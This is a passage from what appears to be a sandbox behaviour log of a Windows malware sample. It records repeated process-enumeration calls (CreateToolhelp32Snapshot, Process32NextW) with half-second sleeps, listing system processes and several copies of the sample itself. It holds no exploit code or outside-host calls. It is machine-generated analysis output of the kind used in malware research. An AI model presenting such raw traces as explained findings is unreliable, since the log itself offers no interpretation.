cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0170.134] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.134] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.134] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.135] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.135] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.135] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0170.136] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0170.136] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.136] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0170.136] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.137] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0170.137] CloseHandle (hObject=0x1d0) returned 1 [0170.137] Sleep (dwMilliseconds=0x1f4) [0170.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0170.825] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.836] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.839] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.840] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.840] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.841] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.841] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.842] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.842] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.842] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.843] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.843] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.844] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.844] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.845] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.845] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.845] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.846] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.846] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0170.847] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.848] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.848] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.849] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.849] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.849] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0170.850] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0170.850] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.851] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0170.851] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.852] Process32NextW (in: hSnapshot=0x1b8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0170.852] CloseHandle (hObject=0x1b8) returned 1 [0170.852] Sleep (dwMilliseconds=0x1f4) [0171.583] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0171.614] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.616] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.633] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.634] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.634] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.634] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.635] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.635] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.635] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.636] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0171.636] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.638] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.639] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.639] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.639] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.640] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.640] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.641] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.641] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0171.641] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.642] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.642] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.642] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0171.643] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.643] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0171.644] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0171.644] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0171.644] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0171.645] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0171.645] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0171.646] CloseHandle (hObject=0x1e8) returned 1 [0171.646] Sleep (dwMilliseconds=0x1f4) [0172.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0172.580] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.581] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.581] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.582] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.582] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.582] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.583] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.583] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.584] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.584] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 